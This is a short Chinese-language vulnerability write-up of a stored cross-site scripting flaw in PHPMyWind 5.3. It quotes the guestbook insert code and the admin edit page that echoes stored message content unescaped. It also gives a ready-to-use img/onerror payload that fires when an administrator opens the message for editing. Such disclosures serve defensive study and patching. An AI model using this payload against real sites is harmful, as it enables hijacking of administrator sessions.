phpmywind_5-3存储型xss

PHPMyWind_5.3/message.php (25-41)

$r = $dosql->GetOne("SELECT Max(orderid) AS orderid FROM `#@__message`");
        $orderid  = (empty($r['orderid']) ? 1 : ($r['orderid'] + 1));
        $nickname = htmlspecialchars($nickname);//游客(xxx)
        $contact  = htmlspecialchars($contact); //联系方式
        $content  = htmlspecialchars($content); //留言内容
         
        $posttime = GetMkTime(time());
        $ip       = gethostbyname($_SERVER['REMOTE_ADDR']);
     
     
        $sql = "INSERT INTO `#@__message` (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')";
        if($dosql->ExecNoneQuery($sql))
        {
            ShowMsg('留言成功,感谢您的支持!','message.php');
            exit();
        }
    }

可以看出使用htmlspecialchars进行过滤,带入库中.
跟进content参数。
PHPMyWind_5.3/admin/message_update.php

<?php require_once(dirname(__FILE__).'/inc/config.inc.php');IsModelPriv('message'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>修改留言</title>
<link href="templates/style/admin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="templates/js/jquery.min.js"></script>
<script type="text/javascript" src="templates/js/checkf.func.js"></script>
<script type="text/javascript" src="editor/kindeditor-min.js"></script>
<script type="text/javascript" src="editor/lang/zh_CN.js"></script>
</head>
<body>
<?php
$row = $dosql->GetOne("SELECT * FROM `#@__message` WHERE `id`=$id");
?>
<div class="formHeader"> <span class="title">修改留言</span> <a href="javascript:location.reload();" class="reload">刷新</a> </div>
<form name="form" id="form" method="post" action="message_save.php">
    <table width="100%" border="0" cellspacing="0" cellpadding="0" class="formTable">
        <tr>
            <td width="25%" height="40" align="right">用户名:</td>
            <td width="75%"><strong><?php echo $row['nickname'] ?></strong></td>
        </tr>
        <tr>
            <td height="40" align="right">联系方式:</td>
            <td><input type="text" name="contact" id="contact" class="input" value="<?php echo $row['contact'] ?>" /></td>
        </tr>
        <tr>
            <td height="198" align="right">留言内容:</td>
            <td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>
                <script>

p:33

<td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>

后台直接取出content参数,数据并未进行转义操作。
PHPMyWind_5.3/shoppingcart.php 留言板地址
以ing开头(可以是其他)

"><img/src=x onerror=alert(2001)><"'

1
admin/message.php
需要点击修改才可以弹XSS
如果管理员留言需要前台显示(或者回复)就必须点击修改。
11

Author:小雨@90sec

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